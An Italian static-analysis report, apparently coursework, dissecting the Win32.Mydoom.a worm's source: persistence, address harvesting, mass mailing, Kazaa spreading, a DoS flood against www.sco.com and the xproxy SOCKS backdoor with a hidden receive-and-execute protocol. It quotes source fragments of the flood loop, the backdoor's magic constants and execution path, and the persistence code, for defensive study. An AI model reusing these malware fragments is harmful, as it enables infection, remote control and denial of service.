

BUILD WEEK III

Relazione finale di analisi statica

Extra 1 - Lana Mazibrada

Win32.Mydoom.a

Analisi del sorgente, ricostruzione funzionale e correlazione tra i moduli

Campione	Win32.Mydoom.a
Metodo	Analisi statica del codice sorgente
Esecuzione del malware	Non eseguita
Compilazione del malware	Non eseguita
Componenti analizzate	main, p2p, massmail, msg, xsmtp, scan, sco, xdns, zipstore, lib, xproxy
Obiettivo	Ricostruire capacità e flussi dimostrabili dal sorgente

1. Sintesi esecutiva

L'analisi statica del sorgente di Win32.Mydoom.a permette di ricostruire un worm con più capacità integrate: propagazione tramite posta elettronica, raccolta di indirizzi dalla macchina, propagazione P2P tramite Kazaa, un payload DoS indirizzato a www.sco.com e un componente di rete xproxy con funzionalità SOCKS4/SOCKS4A e un percorso separato per la ricezione e l'esecuzione di file.

La conclusione non si basa su una singola funzione, ma sulla correlazione tra moduli. In particolare, `scan.c` → `massmail.c` → `msg.c` → `xdns.c` → `xsmtp.c` forma una catena completa di acquisizione dei destinatari, generazione del messaggio, individuazione dei server MX e tentativo di consegna SMTP. `main.c` coordina questa architettura e collega inoltre P2P, payload SCO e xproxy.

Il lavoro è stato mantenuto entro un perimetro di analisi statica: non è stato necessario compilare o eseguire il malware per dimostrare le capacità evidenziate. Le conclusioni sono quindi formulate come capacità dimostrate dal codice, distinguendole dal comportamento effettivamente osservato in una sandbox.

1.1 Risultati principali

- Persistenza: copia del proprio eseguibile come `taskmon.exe` e scrittura del valore `TaskMon` nella chiave `Windows Run`.
- Mass mailing: raccolta, filtraggio e gestione di indirizzi, generazione di messaggi MIME e tentativi SMTP diretti.
- Propagazione P2P: copia dell'eseguibile nella `directory` di trasferimento di Kazaa con nomi ed estensioni variabili.
- Raccolta locale: ricerca di indirizzi in file testuali, `Windows Address Book`, `Temporary Internet Files` e unità locali.
- DoS: richieste HTTP GET ripetute verso www.sco.com, con 64 worker concorrenti.
- xproxy: server SOCKS4/SOCKS4A sulle porte 3127-3199 e protocollo speciale che può ricevere un file, eseguirlo con finestra nascosta e cancellare il temporaneo.
- Offuscamento: uso ricorrente di ROT13 per stringhe, percorsi di Registro, nomi di file e domini.

2. Metodo e perimetro dell'analisi

La metodologia adottata è stata quella di esaminare il sorgente disponibile nell'archivio Win32.Mydoom.a, individuare le funzioni significative, seguire le chiamate tra moduli e riportare solo comportamenti supportati direttamente dal codice già analizzato.

2.1 Preparazione dell'ambiente

- Il campione è stato trattato in ambiente virtualizzato e mantenuto separato dall'uso ordinario del sistema.
- È stato creato uno stato/snapshot di riferimento dell'ambiente di analisi.
- L'archivio è stato ispezionato e successivamente estratto senza eseguire il programma.
- La fase di analisi qui documentata è statica: lettura del sorgente, ricostruzione dei flussi e correlazione delle funzioni.

2.2 Compilazione: chiarimento metodologico

Il file README del progetto contiene istruzioni di build relative a un ambiente Microsoft storico, incluso il riferimento a msvcrt.lib di MSVC 5/6. Tali istruzioni appartengono al progetto originale e descrivono come l'autore poteva costruire il software. Non costituiscono, da sole, un requisito per l'analisi statica svolta.

Per questa relazione non viene quindi attribuita alcuna evidenza alla compilazione del campione: la conclusione è basata sul codice sorgente e sui collegamenti tra i moduli.

2.3 Inventario dei sorgenti analizzati

Area	File	Funzione ricostruita
Orchestrazione	main.c	Flusso principale, persistenza, xproxy, P2P, massmail, scan, date
P2P	p2p.c	Propagazione nella directory di trasferimento Kazaa
E-mail	massmail.c	Filtro, coda, scheduler, generazione destinatari, invio
Messaggi	msg.c	MIME, mittente, subject, allegato, ZIP, Base64
SMTP	xsmtp.c	TCP/25 e dialogo SMTP
Raccolta	scan.c	Estrazione indirizzi da dati locali
DoS	sco.c	HTTP/TCP verso www.sco.com
DNS	xdns.c	Record MX
ZIP	zipstore.c	Creazione archivio ZIP
Utility	lib.c	ROT13, random, HTML/URL, connettività, utility processo
Proxy	xproxy/xproxy.c	SOCKS4/SOCKS4A e protocollo di trasferimento/esecuzione
Proxy client	xproxy/client.c	Lato client del protocollo speciale

3. main.c · Orchestrazione del malware

main.c costituisce il punto di coordinamento dell'architettura analizzata. Il codice controlla la prima esecuzione, crea un mutex, ricostruisce e carica xproxy, tenta l'installazione/persistenza, gestisce il trigger temporale del payload SCO e avvia le componenti P2P, massmail e scan.

3.1 Prima esecuzione e mutex

```
rot13(tmp, "FjroFvcpFzgkF0");  
CreateMutex(NULL, TRUE, tmp);  
GetLastError() == ERROR_ALREADY_EXISTS
```

La presenza del mutex permette al programma di riconoscere un'altra istanza già attiva. Il controllo di una specifica chiave nel Registro viene invece usato come indicatore di prima esecuzione.

3.2 Ricostruzione e caricamento di xproxy

```
rot13(fname, "fuvztncv.qyy");          /* shimgapi.dll */  
decrypt1_to_file(xproxy_data, ...);  
LoadLibrary(sync->xproxy_path);
```

Il nome viene decodificato con ROT13; i dati incorporati vengono decrittati con una chiave iniziale XOR e scritti in un file DLL, che viene poi passato a LoadLibrary(). Il dettaglio del comportamento della DLL è stato verificato separatamente in xproxy.c.

3.3 Installazione e persistenza

```
rot13(fname, "gnfxzba.rkr");          /* taskmon.exe */  
GetModuleFileName(NULL, selfpath, ...);  
CopyFile(selfpath, fpath, FALSE);
```

```
Software\Microsoft\Windows\CurrentVersion\Run  
valname = "TaskMon"  
RegSetValueEx(..., sync->sync_instpath, ...);
```

Il codice dimostra una copia del proprio eseguibile con nome taskmon.exe e il tentativo di registrare il percorso nella chiave Run con valore TaskMon, ottenendo una forma di persistenza all'avvio.

3.4 Trigger temporale

```
termdate = {2004,2,0,12,2,28,57};  
sco_date  = {2004,2,0, 1,16,9,18};
```

Le date presenti nel sorgente regolano parti del flusso. L'analisi ha collegato sco_date all'avvio del payload SCO.

3.5 Avvio delle componenti

```
p2p_spread();  
massmail_init();  
CreateThread(..., massmail_main_th, ...);  
scan_init();  
  
for (;;) {  
    scan_main();  
    Sleep(1024);  
}
```

Questo frammento è particolarmente utile perché collega in un unico punto le componenti di propagazione P2P, mass-mailing e scansione.

4. Raccolta degli indirizzi · scan.c

scan.c implementa la fase di acquisizione dei destinatari. L'evidenza più importante è il passaggio diretto del candidato estratto alla coda massmail.

```
static void scan_out(const char *email)
{
    massmail_addq(email, 0);
    return;
}
```

La funzione non effettua l'invio: alimenta la coda gestita da massmail.c.

4.1 Normalizzazione ed estrazione

- Normalizzazione di forme come "@ ", " @", "@@", "(@)" e "(at)".
- Gestione di entità HTML e di codifiche URL tramite le utility di lib.c.
- Ricerca del carattere @ e costruzione di candidati sulla base dei caratteri ammessi.
- I candidati vengono inoltrati a scan_out() e quindi a massmail_addq().

4.2 Fonti locali

Fonte	Evidenza nel sorgente
File di testo	txt, htm*, sht*, php*, asp*, dbx*, tbb*, adb*, pl e altri casi previsti
Windows Address Book	scan_wab() e ricerca del percorso WAB tramite Registro
Temporary Internet Files	scan_ietemp(), profondità massima 5
Unità locali	scan_disks(), sistema + unità fisse/ramdisk selezionate
Directory	scan_dir1() con attraversamento ricorsivo e max_level

Il codice dimostra quindi una capacità concreta di reperire destinatari dalla macchina infetta, senza necessità di interpretare il comportamento oltre ciò che è esplicitamente implementato.

4.3 Massmail · filtro e coda

massmail.c riceve gli indirizzi, li normalizza/valida, elimina duplicati e li inserisce in una coda dinamica. Sono presenti liste interne che escludono determinati domini e username; la relazione mantiene prudenza nel dedurre il motivo di ogni singola voce.

```
massmail_addq(email, prior);
...
state = 0;
tick_got = GetTickCount();
priority = prior;
...
massmail_queue
```

Il modulo può inoltre generare nuovi indirizzi combinando un dominio già presente con nomi comuni e reinserendo il risultato nella stessa pipeline di filtraggio.

5. Massmail Scheduler

La parte scheduler di massmail.c completa il quadro mostrando come il malware gestisce nel tempo la coda dei destinatari e limita la concorrenza.

5.1 Stati e scadenza

- state=0: richiesta non elaborata.
- state=1: elaborazione/invio in corso.
- state=2: elaborazione terminata.
- Le richieste completate possono essere rimosse quando superano circa 2 ore, tramite MMSHED_REQ_EXPIRES.

5.2 Limiti dello scheduler

Costante	Valore	Effetto osservabile
MMSHED_THREADS	4	Limite dei thread di invio concorrenti
MMSHED_QUEUE_OVERFLOW	4096	Soglia per la gestione della coda
MMSHED_UNPROC_FREEZE	512	Soglia oltre la quale lo scanning viene congelato
MMSHED_REQ_EXPIRES	2 × 3600 s	Scadenza di circa 2 ore
MMSHED_GENTIMEOUT	6 × 1000 ms	Intervallo usato per la generazione di nuovi destinatari

5.3 Generazione automatica

Quando la coda non contiene richieste non elaborate e sono presenti almeno tre elementi, lo scheduler può richiamare mm_gen() dopo il timeout previsto. La funzione seleziona un dominio già presente e costruisce un nuovo indirizzo con un nome comune. Il risultato passa nuovamente attraverso massmail_addq().

Questa caratteristica amplia il numero di destinatari candidati rispetto ai soli indirizzi direttamente trovati nei dati locali.

6. Generazione dei messaggi · msg.c

msg.c costruisce il messaggio e-mail completo. Lo stato interno comprende destinatario, mittente, subject, nome/estensione dell'allegato, uso di ZIP, boundary MIME e buffer.

6.1 Mittente

```
if ((xrand16() % 100) < 98) {  
    ...  
    lstrcpy(state->from, mq->to);  
}  
  
/* use any Outlook account. Not implemented yet. */
```

Il codice può scegliere un indirizzo già presente nella coda. Il commento relativo agli account Outlook specifica che quella parte non è implementata e quindi non deve essere presentata come capacità effettiva.

6.2 Nome ed estensione dell'allegato

```
/* weighted names, stored as ROT13 */  
"qbphzrag" /* document */  
"ernqzr" /* readme */  
"qbp" /* doc */  
"grkg" /* text */  
"zrffntr" /* message */  
  
/* weighted extensions, stored as ROT13 */  
"cvs" /* pif */  
"fpe" /* scr */  
"rkr" /* exe */  
"pzq" /* cmd */  
"ong" /* bat */
```

Il malware combina nomi dall'aspetto comune con estensioni che possono rappresentare file eseguibili.

6.3 Oggetti del messaggio

Gli oggetti possono essere casuali oppure scelti da una lista pesata. Tra le stringhe decodificabili compaiono formule come Mail Delivery System, Mail Transaction Failed, Server Report, Status ed Error.

6.4 Allegato e ZIP

select_attach_file() sceglie l'uso di ZIP con probabilità del 64%. Senza ZIP viene utilizzato il percorso del modulo eseguibile corrente. Con ZIP viene creato un file temporaneo contenente il modulo.

```
zip_used = ...;  
GetModuleFileName(...);  
zip_store(...);  
  
exe_name + ".zip"
```

In una parte dei casi viene applicato il name trick: il nome interno può iniziare con .doc, .htm o .txt, seguito da molti spazi e infine da .exe, .scr o .pif. Il nome interno viene poi effettivamente scritto da zipstore.c.

6.5 MIME e Base64

Il messaggio viene costruito come multipart/mixed, con parte testuale e parte application/octet-stream. L'allegato viene letto a blocchi e codificato Base64 con wrapping a 76 caratteri.

7. Risoluzione DNS e invio SMTP

7.1 xdns.c

xdns.c implementa il sottosistema DNS necessario a ottenere i record MX del dominio destinatario. Il codice supporta sia l'API DNS di Windows sia un resolver manuale che interroga direttamente i server DNS configurati.

```
#define TYPE_MX 15
#define CLASS_IN 1

sock = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP);
sendto(sock, buf, i, 0, ...);
```

La query viene costruita manualmente nel formato QNAME, inviata via UDP e la risposta viene sottoposta a parsing. Sono gestiti i record MX e le relative preferenze. Il percorso manuale prevede tentativi e timeout.

7.2 Collegamento xdns · xsmtp

Il risultato della risoluzione MX viene consumato da xsmtp.c. La catena è quindi: destinatario → dominio → record MX → server di posta → tentativo SMTP.

7.3 xsmtp.c

xsmtp.c crea socket TCP, attende il banner SMTP e gestisce la sequenza EHLO/HELO, MAIL FROM, RCPT TO, DATA e QUIT. Il messaggio generato da msg.c viene trasferito riga per riga.

```
EHLO / HELO
MAIL FROM
RCPT TO
DATA
<messaggio>
<fine DATA>
QUIT
```

La porta utilizzata per i tentativi è TCP/25. Prima vengono provati i server MX; in caso di fallimento vengono costruiti fallback come mx., mail., smtp., mx1., mxs., mail1., relay., ns. e gate. davanti al dominio.

È presente anche un percorso che legge configurazioni SMTP locali sotto Internet Account Manager. Il codice analizzato non mostra una procedura di autenticazione SMTP: non è quindi corretto affermare che l'autenticazione sia implementata.

8. Propagazione P2P · p2p.c

p2p.c implementa una propagazione specifica tramite Kazaa. Il codice recupera dal Registro il percorso della directory di trasferimento configurata dall'utente.

```
Software\Kazaa\Transfer
DlDir0
```

```
RegOpenKeyEx(HKEY_CURRENT_USER, ...);
RegQueryValueEx(...);
```

Una volta ottenuto il percorso, viene scelto pseudo-casualmente un nome dalla lista interna e un'estensione tra .exe, .scr, .pif e .bat. L'eseguibile corrente viene poi copiato nella destinazione.

```
GetModuleFileName(NULL, selfpath, MAX_PATH);
kazaa_spread(selfpath);
```

```
CopyFile(file, kaza, TRUE);
```

Il commento presente nel file indica inoltre che il codice è basato su sorgente di I-Worm.PieceByPiece. La relazione non usa questo commento come prova di comportamento aggiuntivo: la capacità descritta è dimostrata dalle chiamate effettive.

8.1 Payload SCO · sco.c

sco.c implementa una componente DoS indirizzata esplicitamente a www.sco.com. Il dominio è memorizzato in ROT13, mentre la porta è TCP/80 e il numero di worker è 64.

```
#define SCO_SITE_ROT13 "jjj.fpb.pbz" /* www.sco.com */
#define SCO_PORT 80
#define SCODOS_THREADS 64
```

Il worker crea un socket TCP non bloccante, risolve il dominio tramite gethostbyname(), costruisce una richiesta HTTP e la invia in un ciclo senza terminazione normale.

```
GET / HTTP/1.1
Host: www.sco.com
```

```
for (;;) {
    sock = connect_tv(&addr, 8);
    if (sock != 0) {
        send(sock, buf, strlen(buf), 0);
        Sleep(300);
        closesocket(sock);
    }
}
```

scodos_main() crea 63 thread aggiuntivi e utilizza anche il thread corrente, ottenendo 64 attività concorrenti. L'impatto effettivo sulla destinazione dipende dalle condizioni di rete e dalla risposta del server; il codice dimostra però la capacità e la finalità di generare traffico ripetuto verso il bersaglio.

9. xproxy · componente di rete separato

L'analisi congiunta di xproxy.c, client.c e makefile consente di distinguere nettamente il componente DLL dal client ausiliario e di ricostruire il protocollo speciale presente nel server.

9.1 Avvio della DLL

```
case DLL_PROCESS_ATTACH:
    hDllInstance = hinstDLL;
    CreateThread(0, 0, xproxy_th, NULL, 0, &tmp);
    return 1;
```

Il makefile conferma che il prodotto principale è xproxy.dll e che il linker usa /dll con entry point DllMain.

9.2 Server SOCKS4/SOCKS4A

```
for (port=3127;;port++) {
    socks4_main(port, 3);
    Sleep(1024);
    if (port > 3198) {
        Sleep(2048);
        port = 3127;
    }
}
```

Il componente tenta quindi le porte dalla 3127 alla 3199 in ciclo. socks4_main() crea un listener TCP e accetta connessioni. Il codice riconosce SOCKS4, il comando CONNECT e l'estensione SOCKS4A; relay_socks() inoltra i dati tra i due lati della connessione.

9.3 Protocollo speciale di ricezione/esecuzione

```
#define SOCKS4_EXECBYTE 133

if (c == SOCKS4_EXECBYTE) {
    socks4_exec(sock);
}

recv(sock, (char *)&dw, 4, 0);
dw = ntohl(dw);
if (dw != 0x133C9EA2) goto drop;
```

Se il primo byte è 133, il flusso non viene trattato come una normale richiesta SOCKS. Il server verifica la costante 0x133C9EA2, crea un file temporaneo, riceve i dati dal socket e li scrive su disco.

```
GetTempPath(...);
GetTempFileName(...);
WriteFile(...);

si.wShowWindow = SW_HIDE;
CreateProcess(NULL, buf, ...);
WaitForSingleObject(pi.hProcess, INFINITE);
DeleteFile(tempfile);
```

Questo è uno degli elementi più forti dell'intera analisi: il sorgente dimostra direttamente un percorso di ricezione di un file via rete, esecuzione con finestra nascosta, attesa del processo e successiva cancellazione del temporaneo.

9.4 Correlazione con client.c

```
req.magic = SOCKS4_EXECBYTE;
req.polinomial = htonl(0x133C9EA2);
send(sock, (char *)&req, sizeof(req), 0);
```

Le stesse due costanti compaiono nel client, che apre un file locale e lo invia a hostname e porta indicati. La corrispondenza è una prova forte che client.c è progettato per attivare il percorso

speciale del server.

10. Utility comuni e gestione ZIP

10.1 lib.c

lib.c contiene primitive condivise. Non rappresenta da solo un comportamento autonomo del malware; alcune funzioni sono però essenziali per comprendere gli altri moduli.

- ROT13: spiega le stringhe offuscate usate in nomi di DLL, Registro, file e domini.
- Pseudo-casualità: xrand16() usa GetTickCount() come seed e una ricorrenza lineare; non è un generatore crittograficamente sicuro.
- HTML/URL: html_replace() converte entità numeriche HTML e html_replace2() effettua URL decoding; scan.c le usa nella normalizzazione.
- Connettività: is_online() carica dinamicamente wininet.dll e usa InternetGetConnectedState(); massmail.c la usa per coordinare l'attività quando la rete non è disponibile.
- xsystem(): esiste una utility che avvia processi tramite CreateProcess() con finestra nascosta; il solo lib.c non dimostra quali chiamanti la utilizzino.

10.2 zipstore.c

zipstore.c costruisce manualmente un archivio ZIP a singolo file. Calcola il CRC-32, scrive local header, dati, central directory ed end-of-directory record.

```
hdr1.method = 0;
hdr1.compressed_size = GetFileSize(hFileIn, NULL);
hdr1.uncompressed_size = GetFileSize(hFileIn, NULL);

WriteFile(hFileOut, store_as, lstrlen(store_as), &i, NULL);
```

Il metodo 0 indica ZIP Store, quindi senza compressione. Il parametro store_as viene scritto nell'header locale e nella directory centrale: ciò conferma che il nome interno scelto da msg.c viene effettivamente registrato nell'archivio.

11. Ricostruzione del flusso complessivo

La correlazione tra le analisi consente di ricostruire il comportamento in termini di fasi funzionali. Il diagramma seguente non implica che ogni percorso venga eseguito in ogni singola esecuzione: rappresenta le capacità e i collegamenti dimostrati dal sorgente.

Fase	Componente	Funzione
1	main.c	Coordinamento, controllo prima esecuzione, persistenza e avvio moduli
2	scan.c	Ricerca e normalizzazione di candidati indirizzi
3	massmail.c	Filtro, anti-duplicato, coda e scheduler
4	msg.c	Generazione messaggio, subject, mittente e allegato
5	zipstore.c	Creazione ZIP quando selezionato
6	xdns.c	Risoluzione dei record MX
7	xsmtp.c	Connessione TCP/25 e dialogo SMTP
8	p2p.c	Propagazione nella directory Kazaa
9	sco.c	Generazione traffico HTTP ripetuto verso www.sco.com
10	xproxy	Listener SOCKS e protocollo separato di ricezione/esecuzione

Catena e-mail: scan.c → massmail.c → msg.c → xdns.c → xsmtp.c

Catena P2P: main.c → p2p_spread() → kazaa_spread() → directory Kazaa

Catena SCO: main.c → payload_sco() → scodos_main() → 64 worker → TCP/80 → HTTP GET

Catena xproxy: main.c → decrittazione/caricamento DLL → xproxy_th() → porte 3127-3199 → SOCKS oppure protocollo EXEC

12. Matrice delle evidenze tecniche

Evidenza	Modulo	Cosa dimostra
CurrentVersion\Run + TaskMon	main.c	Persistenza tramite avvio automatico
taskmon.exe + CopyFile	main.c	Copia del proprio eseguibile
massmail_addq(email,0)	scan.c	Collegamento diretto tra raccolta e coda massmail
GetModuleFileName + CopyFile	p2p.c	Copia dell'eseguibile corrente in area Kazaa
TYPE_MX = 15 + UDP	xdns.c	Ricerca dei server MX
MAIL FROM / RCPT TO / DATA	xsmtplib.c	Implementazione del dialogo SMTP
multipart/mixed + Base64	msg.c	Costruzione programmatica dell'e-mail con allegato
method = 0	zipstore.c	ZIP Store senza compressione
www.sco.com + TCP/80	sco.c	Destinazione del payload DoS
SCODOS_THREADS = 64	sco.c	Concorrenza del payload SCO
EXECBYTE 133 + 0x133C9EA2	xproxy.c/client.c	Protocollo comune di trasferimento file
CreateProcess + SW_HIDE	xproxy.c	Esecuzione nascosta del file ricevuto
DeleteFile(tempfile)	xproxy.c	Cancellazione del temporaneo dopo l'esecuzione

13. Valutazione tecnica e impatto

Sulla base del solo sorgente, il campione deve essere classificato come malware ad alta pericolosità. La valutazione deriva dalla combinazione di persistenza, propagazione multipla, raccolta di destinatari, capacità di generare e-mail con allegati eseguibili, invio SMTP diretto, payload DoS e componente xproxy con ricezione/esecuzione di file.

Capacità	Evidenza	Impatto potenziale
Persistenza	Run/TaskMon	Riattivazione automatica del componente
Propagazione e-mail	scan + massmail + msg + xsmtp	Diffusione a destinatari raccolti e generati
Propagazione P2P	Kazaa	Diffusione tramite directory condivisa
Raccolta dati	File/WAB/Internet Files/dischi	Acquisizione di indirizzi presenti localmente
DoS	sco.c	Generazione di traffico ripetuto verso un bersaglio
Accesso remoto	xproxy	Proxy SOCKS e protocollo di trasferimento/esecuzione

La presenza di un percorso di ricezione/esecuzione tramite xproxy è particolarmente rilevante: il sorgente dimostra una capacità che va oltre la semplice propagazione del worm.

13.1 Distinzione tra capacità e comportamento osservato

- Il codice dimostra che le funzionalità sono implementate.
- Non viene affermato che ogni funzionalità sia raggiunta in ogni esecuzione.
- Non viene attribuito a xsystem() un utilizzo specifico in assenza di una chiamata dimostrativa.
- client.exe è il client associato al protocollo xproxy, ma il sorgente analizzato non dimostra che venga avviato direttamente dal payload principale.
- L'effettivo impatto del DoS dipende dalle condizioni di rete e dalla risposta della destinazione.

14. Limiti, cautele e aspetti non sovrainterpretati

Una relazione tecnica affidabile deve distinguere ciò che è direttamente dimostrato da ciò che sarebbe soltanto un'ipotesi. Per questo motivo sono state mantenute le seguenti cautele.

- Il commento use any Outlook account. Not implemented yet. non è stato trasformato in una capacità implementata.
- L'esistenza di xsystem() in lib.c non è stata usata per attribuire automaticamente l'esecuzione nascosta di un comando al malware principale.
- Il makefile è stato usato per comprendere il processo di build e la distinzione DLL/client, non come prova di comportamento runtime.
- Il protocollo xproxy è stato correlato a client.c sulla base della corrispondenza esatta delle costanti 133 e 0x133C9EA2.
- La componente SCO è stata descritta come capacità/intent del codice di generare traffico ripetuto, senza affermare un impatto remoto misurato.
- La risoluzione DNS in xdns.c è stata distinta dall'effettivo invio SMTP in xsmtp.c.
- L'analisi non richiede di compilare o eseguire il campione per sostenere le conclusioni statiche riportate.

14.1 Anomalie implementative

Nel sorgente sono presenti anche caratteristiche legacy e alcune anomalie implementative. Tali elementi non sono stati usati come base primaria per classificare il campione come pericoloso: le evidenze funzionali sopra riportate sono sufficienti e più solide per la valutazione.

15. Conclusioni

L'analisi statica del progetto Win32.Mydoom.a ha consentito di ricostruire una struttura di worm fortemente modulare. Il punto centrale è main.c, che coordina persistenza e l'avvio di componenti con finalità differenti.

La componente e-mail è particolarmente completa: scan.c ricerca indirizzi in molte fonti locali; massmail.c li filtra, gestisce una coda e può generarne ulteriori; msg.c costruisce messaggi MIME con allegati potenzialmente eseguibili; xdns.c individua i server MX; xsmtp.c tenta la consegna diretta via TCP/25.

Parallelamente, p2p.c fornisce una modalità di propagazione tramite Kazaa, mentre sco.c implementa un payload DoS indirizzato a www.sco.com. xproxy introduce infine una superficie di rete distinta: oltre alle funzionalità SOCKS4/SOCKS4A, il protocollo speciale consente al server di ricevere un file, eseguirlo con finestra nascosta e rimuovere il temporaneo.

Nel complesso, le evidenze del sorgente sono sufficienti per concludere che il campione possiede capacità di persistenza, propagazione e-mail, propagazione P2P, raccolta di indirizzi, comunicazione SMTP, generazione di traffico DoS e ricezione/esecuzione di file tramite xproxy.

La relazione è stata costruita mantenendo una separazione metodologica tra capacità statica e comportamento dinamico: dove il codice non consente di dimostrare un'affermazione, questa non viene presentata come fatto.

15.1 Sintesi finale

Win32.Mydoom.a è un worm multi-funzione che combina propagazione via e-mail e P2P, raccolta locale di destinatari, persistenza, un payload DoS e un componente xproxy con capacità di proxying e ricezione/esecuzione di file.